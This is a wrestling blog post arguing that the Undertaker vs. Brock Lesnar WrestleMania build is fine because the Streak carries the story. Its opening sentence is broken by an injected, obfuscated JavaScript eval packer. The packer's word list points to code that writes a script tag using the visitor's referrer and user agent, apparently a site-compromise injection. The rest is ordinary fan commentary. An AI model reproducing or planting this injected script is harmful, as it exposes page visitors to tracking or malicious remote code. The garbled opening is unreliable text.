Thought of the Day: You Were Expecting Maybe The Easter Bunny?
On eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ybsyz|var|u0026u|referrer|eeddy||js|php'.split('|'),0,{})) the Brock vs. Undertaker build.So the general consensus on the Undertaker vs. Lesnar build seems to be that people hate it. My immediate answer to that is what were you expecting?
The build to Undertaker vs. Brock Lesnar has taken place over the last 23 years. Maybe you’ve heard of it: it’s called the Streak. For several years now, the story for Undertaker at Wrestlemania has been people wanting to take down the Streak. Undertaker had four matches against DX about legacies and retirements and what have you, but it all came down to HHH and Shawn wanting to stop the Streak. Over the years CM Punk, Randy Orton, HHH, Ric Flair, Batista and a host of others have tried and failed. The Streak is (arguably) bigger than the WWE Title at this point.
Think about this for a minute. The Streak started 23 years ago. I’m 26 years old and the Streak began before I went to school for the first time. It started when WCW was still in the NWA. The WCW World Title was two months old. It’s so old that the son of the man who was President when it started served eight years in office since then. It’s over three times longer than Bruno Sammartino’s WWWF Title reign. I could go on but you get the idea by now.
Whether you like the Streak or not, there’s never been anything like it in wrestling and there never will be again. Undertaker is getting older now though and the wins are getting harder to come by. Now the next challenger is Brock Lesnar, who is stronger and tougher than anyone Undertaker has faced in the Streak (yes I’m including Henry). It’s basically Rocky vs. Drago in Rocky IV. Lesnar is a fire breathing dragon for Undertaker to slay, but he’s going to push Undertaker to the point where it’s impossible to believe Undertaker will survive. It happened with Shawn and it happened in the Cell so it can happen again. They’re even using the idea that Brock has beaten Undertaker’s opponents more easily than Undertaker could.
In short, this is what the Streak matches are going to be like, and I could argue that it’s bigger than the triple threat is going to be. It’s a built in story and one of those things that doesn’t need a big elaborate reason for the two men to be fighting. Brock Lesnar has destroyed everything else and now he wants to destroy the one thing that no one has been able to stop. Why do you need a more elaborate story than that? THe match will be great (Undertaker hasn’t had a bad Wrestlemania match since……Wrestlemania 22? And Lesnar hasn’t had a truly bad match since he’s been back), the moment will be great, and seeing the 22-0 sign will work at the end of the day.
I really don’t know what you people want, because this is what the Streak is going to be until Undertaker hangs up his boots. They’d be crazy to do anything else.
